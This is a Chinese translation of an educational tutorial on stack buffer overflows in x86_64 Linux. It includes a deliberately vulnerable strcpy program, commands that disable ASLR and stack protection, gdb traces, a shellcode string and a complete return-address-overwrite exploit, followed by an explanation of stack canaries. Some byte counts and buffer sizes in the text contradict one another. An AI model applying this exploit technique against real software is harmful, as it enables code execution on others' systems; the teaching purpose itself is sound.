现代Linux操作系统的栈溢出(上)
译者注:本文源自《[细节剖析]X Windows中一个22年的漏洞》中提到的一篇文章,即如何溢出有保护机制的linux,路径如下:http://www.exploit-db.com/papers/24085/,本着学习的目的,在学习过程中,翻译出来分享给大家。
另外为了区分Stack和Heap,在本人的所有文章中
“Stack”与“栈”对等
“Heap”与“堆”对等
因为曾经被人坑惨了,有些文章中把“Stack”翻译成“堆栈”,搞得我着实的晕了好久。
前提条件:
对C语言和x86_64有基本的了解。
1. 概述
本文主要向读者展示栈溢出的基础知识并解释目前现代的Linux发型版本的保护机制。基于上述原因,本文选择了最新的Ubuntu(12.10)作为目标机,因为它集成了很多默认的安全机制,并且它很流行易于安装和使用。平台采用的是x86_64。
通过本文读者可以学到在老版本的操作系统上,没有安装保护机制下,栈溢出是如何进行漏洞利用的。本文也将介绍在最新版的Ubuntu(12.10)中,个人保护机制的详情,并且会用一个例子来说明这些机制并不能够阻止栈溢出。溢出栈上的数据结构,从而可以控制程序运行。
虽然现今的漏洞利用方法已经不像过去那样经典的栈溢出方法了,事实上它更像是堆溢出或者是字符串格式化漏洞方法。虽然栈保护(Stack Smashing Protection)被用来阻止栈溢出,但是栈溢出还是会发生的。如果现在本文还未打动你,不用担心,我会在下面介绍更为详细的内容。
2 系统详细信息
有关不同版本的Ubuntu系统采用的默认安全机制情况请参考如下链接:
https://wiki.ubuntu.com/Security/Features
$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gcc Linux 3.5.0-19-generic x86_64 DISTRIB_DESCRIPTION="Ubuntu 12.10" gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2
3. 经典栈溢出
让我们回到过去,生活轻松,栈帧在哪里等着被破坏。在栈上不正确的使用数据拷贝方法很容易导致程序被控制。这种情况没有多少保护机制存在的,例子如下所示:
$ cat oldskool.c #include <string.h> void go(char *data) { char name[64]; strcpy(name, data); } int main(int argc, char **argv) { go(argv[1]); }
在测试之前,你需要在系统范围禁用ASLR,你可以按如下步骤来实现:
$ sudo -i root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space root@laptop:~# exit logout
在早期的操作系统中这一保护机制并不存在。因此为了展示这一历史上的例子需要将保护机制禁掉。如果想禁掉其他保护机制,你可以按如下方式编译程序。
$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g
看上面的代码,我们发现在栈上有一个64个字节长度的缓冲区,并且第一个命令行参数已经拷贝到这一缓冲区。程序并没有检查参数长度是否大于64个字节,从而允许strcpy函数继续拷贝数据从而超过64个字节长度,进而将数据覆盖到64个字节相邻的栈存储区。这就是栈溢出。
现在为了获取程序的控制权,我们需要利用如下这一技术原理,在调用一个函数前,C程序会将该函数执行完成后下一个将要执行的指令地址压入栈中。()。我们管这个地址叫做返回地址或者是保存的指令指针(Saved Instruction Pointer)。在我们的例子中,保存的指令指针(该指令指针应该是在go函数执行后被执行)保存在紧挨着我们的name[64]数组,为什么会这样,主要是由栈的工作机制决定的。因此,如果用户可以用别的地址(通过命令行参数提供)覆盖这一地址,程序就会开始在此地址处执行。攻击者可以通过拷贝机器码格式的指令到缓冲区中,然后将返回地址指向这些指令,从而实现对程序的劫持。当程序执行完子函数,程序将继续执行攻击者提供的指令。此时攻击者可以让程序做任何事情,无论是为了乐趣还是为了金钱。
闲话少说,让我来给你展示一下,如果你对下面的命令不了解,你可以通过此连接来学习如何使用gdb。
$ gdb -q ./oldskool Reading symbols from /home/me/.hax/vuln/oldskool...done. (gdb) disas main Dump of assembler code for function main: 0x000000000040053d <+0>: push %rbp 0x000000000040053e <+1>: mov %rsp,%rbp 0x0000000000400541 <+4>: sub $0x10,%rsp 0x0000000000400545 <+8>: mov %edi,-0x4(%rbp) 0x0000000000400548 <+11>: mov %rsi,-0x10(%rbp) 0x000000000040054c <+15>: mov -0x10(%rbp),%rax 0x0000000000400550 <+19>: add $0x8,%rax 0x0000000000400554 <+23>: mov (%rax),%rax 0x0000000000400557 <+26>: mov %rax,%rdi 0x000000000040055a <+29>: callq 0x40051c 0x000000000040055f <+34>: leaveq 0x0000000000400560 <+35>: retq End of assembler dump. (gdb) break *0x40055a Breakpoint 1 at 0x40055a: file oldskool.c, line 11. (gdb) run myname Starting program: /home/me/.hax/vuln/oldskool myname Breakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8) 11 go(argv[1]); (gdb) x/i $rip => 0x40055a : callq 0x40051c (gdb) i r rsp rsp 0x7fffffffe0d0 0x7fffffffe0d0 (gdb) si go (data=0xc2 ) at oldskool.c:4 4 void go(char *data) { (gdb) i r rsp rsp 0x7fffffffe0c8 0x7fffffffe0c8 (gdb) x/gx $rsp 0x7fffffffe0c8: 0x000000000040055f
我们在调用go函数前打断点,位置为0x000000000040055a <+29>,然后我们运行程序,启动参数为“myname”,在调用go函数前程序暂停了。我们执行一个指令(si)然后查看栈顶指针(rsp),它现在指向的地址包含了callq函数执行完成后的地址0x000000000040055f <+34>,这一地址就是前文所述的返回地址。
如下展示的是go函数的情况,它会执行“retq”指令,该指令会将该指针出栈,然后执行该指针指向的地址。
(gdb) disas go Dump of assembler code for function go: => 0x000000000040051c <+0>: push %rbp 0x000000000040051d <+1>: mov %rsp,%rbp 0x0000000000400520 <+4>: sub $0x50,%rsp 0x0000000000400524 <+8>: mov %rdi,-0x48(%rbp) 0x0000000000400528 <+12>: mov -0x48(%rbp),%rdx 0x000000000040052c <+16>: lea -0x40(%rbp),%rax 0x0000000000400530 <+20>: mov %rdx,%rsi 0x0000000000400533 <+23>: mov %rax,%rdi 0x0000000000400536 <+26>: callq 0x4003f0 0x000000000040053b <+31>: leaveq 0x000000000040053c <+32>: retq End of assembler dump. (gdb) break *0x40053c Breakpoint 2 at 0x40053c: file oldskool.c, line 8. (gdb) continue Continuing. Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname") 8 } (gdb) x/i $rip => 0x40053c : retq (gdb) x/gx $rsp 0x7fffffffe0c8: 0x000000000040055f (gdb) si main (argc=2, argv=0x7fffffffe1c8) at oldskool.c:12 12 } (gdb) x/gx $rsp 0x7fffffffe0d0: 0x00007fffffffe1c8 (gdb) x/i $rip => 0x40055f : leaveq (gdb) quit
我们在go函数返回前设置了断点。程序会在执行“retq”指令前暂停下来。我们可以看到栈指针(rsp)会指向main函数中调用go函数完成后的地址。“retq”指令执行后,我们可以发现,程序将返回地址出栈,然后跳转到这一地址执行。现在我们覆盖这一地址,使用perl编程来提供超过32个字节长度的数据。
$ gdb -q ./oldskool Reading symbols from /home/me/.hax/vuln/oldskool...done. (gdb) run `perl -e 'print "A"x48'` Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x48'` Program received signal SIGSEGV, Segmentation fault. 0x000000000040059c in go (data=0x7fffffffe49a 'A' ) 12 } (gdb) x/i $rip => 0x40059c : retq (gdb) x/gx $rsp 0x7fffffffe0a8: 0x4141414141414141
我们用perl输出的字符串“AAAA…”共计80个,然后将这一字符串作为参数来启动我们的样例程序。可以看到,当他执行go函数中的“retq”指令时,程序崩溃了,因为这一返回地址被我们用字符“A”(0×41)覆盖了。注意,我们写入的是80个字节(64+8+8),因为在64位机上,指针的长度是8个字节。同时实际上在我们的name缓存和保存的指令指针之间还保存了另外一个指针。
现在我们可以将执行路径重定向到我们期望的任何位置。我们该如何通过此方式使程序执行我们的指令?如果将我们的机器码指令放在name[]缓冲区中然后,用此缓冲区的地址来重写返回地址,那么当当程序执行完go函数,就会继续执行我们的指令(shellcode)。因此我们需要创建一个shellcode并且我们需要知道name[]缓冲区的地址,因为我们需要用这个地址值来重写返回地址。我不会创建真正的shellcode,因为这有点超出了本指南的范围,但是我会用向屏幕上显示一行消息来表示我们的shellcode。可以采用如下方法来确定name[]缓冲区的地址。
(gdb) p &name $2 = (char (*)[32]) 0x7fffffffe0a0
我们可以利用perl通过转义的方式(”\x41”)将不可打印的字符打印到命令行。此外,由于机器采用小端字节序来保存整数和指针,因此我们需要将我们的字节序调整到小端字节序。综上,我们需要写入到返回地址的内容为:
"\xa0\xe0\xff\xff\xff\x7f"
如下为shellcode,他将会向屏幕上输出我们的消息,然后退出。
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"
注意上述仅仅是机器码的格式,他们可以被perl打印输出。因为上述shellcode是45个字节长度,但是我们要覆盖SIP的话,需要先提供一个72个字节长度的数据,因此我们需要追加27个字节的数据作为填充。因此最终的字符串可以像如下这样。
“\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21” . “A”x27 . “\xa0\xe0\xff\xff\xff\x7f”
当go函数执行完成后,程序会跳转到0x7fffffffe0a0处,这个地址是name[]缓冲区的开始位置,已经填充了我们的机器码。它会执行我们的机器码来输出我们的消息,然后退出程序。让我们来试一下(注意,执行时删除所有的换行符。)
$ ./oldskool `perl -e ` print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"'` Hax!$
4. 保护机制
欢迎回到2012(译注:本文写于2012年,现在应该说欢迎回到2014)。上述样例不在有效工作了,在我们的ubuntu系统中,这有很多不同的保护机制,而这种类型的漏洞甚至不再以这种形式存在了。栈上的溢出仍然可以发生,仍然有利用他们的方法。这就是在本节中我要介绍给你的,首先来看一下不同的保护方案。
[4.1 栈溢出保护]
在上面的例子中,我们使用了-fno-stack-protector标志来告诉gcc我们不想一栈溢出保护机制进行编译。如果我们不指定这一标志,会发生什么?请注意,这种情况下ASLR重新开启了,一切都被设置为默认值。
$ gcc oldskool.c -o oldskool -g
让我们用gdb看一眼二进制代码,看看发生了什么?
$ gdb -q ./oldskool Reading symbols from /home/me/.hax/vuln/oldskool...done. (gdb) disas go Dump of assembler code for function go: 0x000000000040058c <+0>: push %rbp 0x000000000040058d <+1>: mov %rsp,%rbp 0x0000000000400590 <+4>: sub $0x60,%rsp 0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp) 0x0000000000400598 <+12>: mov %fs:0x28,%rax 0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp) 0x00000000004005a5 <+25>: xor %eax,%eax 0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx 0x00000000004005ab <+31>: lea -0x50(%rbp),%rax 0x00000000004005af <+35>: mov %rdx,%rsi 0x00000000004005b2 <+38>: mov %rax,%rdi 0x00000000004005b5 <+41>: callq 0x400450 0x00000000004005ba <+46>: mov -0x8(%rbp),%rax 0x00000000004005be <+50>: xor %fs:0x28,%rax 0x00000000004005c7 <+59>: je 0x4005ce 0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt> 0x00000000004005ce <+66>: leaveq 0x00000000004005cf <+67>: retq End of assembler dump.
如果我们看一下go函数的<+12>和<+21>的反编译代码,我们发现数据来自$fs+0×28或者%fs:0×28处。这一地址真正的指向位置并不重要,现在我要说明的是fs指向了由内核维护的结构,而且我们无法通过gdb来查看fs的值。对我们来说更重要的是,这个位置存储了一个我们不可预测的随机值,如下所示,可见用gdb单步运行两次输出的fs值不相同。
(gdb) break *0x0000000000400598 Breakpoint 1 at 0x400598: file oldskool.c, line 4. (gdb) run Starting program: /home/me/.hax/vuln/oldskool Breakpoint 1, go (data=0x0) at oldskool.c:4 4 void go(char *data) { (gdb) x/i $rip => 0x400598 : mov %fs:0x28,%rax (gdb) si 0x00000000004005a1 4 void go(char *data) { (gdb) i r rax rax 0x110279462f20d000 1225675390943547392 (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/me/.hax/vuln/oldskool Breakpoint 1, go (data=0x0) at oldskool.c:4 4 void go(char *data) { (gdb) si 0x00000000004005a1 4 void go(char *data) { (gdb) i r rax rax 0x21f95d1abb2a0800 2448090241843202048
我们在将$fs+0×28的数据项rax中赋值前打断点,然后执行,查看rax的值,然后再重复执行一次,就能发现两次运行时rax中值得不同。从而说明,fs中的数据值在每次运行中都是不同的,意味着攻击者不能准确的预测它。那么这个值是如何用来保护栈的呢?通过go函数中反汇编代码<+21>可以发现数值被拷贝到了栈上,位于-0×8(%rbp)上。我们发现这一随机值是放在了函数的局部变量和保存的指令指针(译注:此处指返回地址和EBP)之间。这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。(译注:有关金丝雀和矿工,请参考此链接http://blog.sina.com.cn/s/blog_562a622e0100x6t8.html)。与上述情况类似,当栈溢出发生时,金丝雀值将在已保存的指令指针被重写前先挂掉。如果我们看一眼go函数的<46>和<50>行汇编代码,我们看到会从栈中读那个值与原有值比较,如果这两个值一致,金丝雀(canary)没有被修改,从而认为保存的指令指针也没有被修改,进而允许函数正常的返回。如果金丝雀(canary)的值被修改了,栈溢出发生了,保存的指令指针可能也被修改了,因此不能安全返回,函数会调用__stack_chk_fail函数。这个函数会做些魔术,然后丢出一个错误退出进程。如下所示:
$ ./oldskool `perl -e 'print "A"x80'` *** stack smashing detected ***: ./oldskool terminated Aborted (core dumped)
回顾上面,缓冲区溢出了,而且数据覆盖了金丝雀值(canary)和保存的指令指针。然而,在覆盖SIP之前,程序发现金丝雀(canary)值被篡改了,然后就安全的退出了。现在,坏消息是在这种情况下,攻击者没有什么好的方法。你可能会想到暴力破解金丝雀(canar)的值,但是在这种情况下,金丝雀的值在每次程序运行时都是不同的,只有极端幸运的时候才能猜中金丝雀的值。那样会花费些时间,而且并不隐蔽。好消息是,在很多情况下,上述保护机制并不足以阻止漏洞利用。例如,栈中的金丝雀仅仅用来保护SIP,但并未保护应用变量,这会导致另外一种可利用条件,后面会展示。oldskool程序的溢出方法在这种保护机制前,已经不再有效了。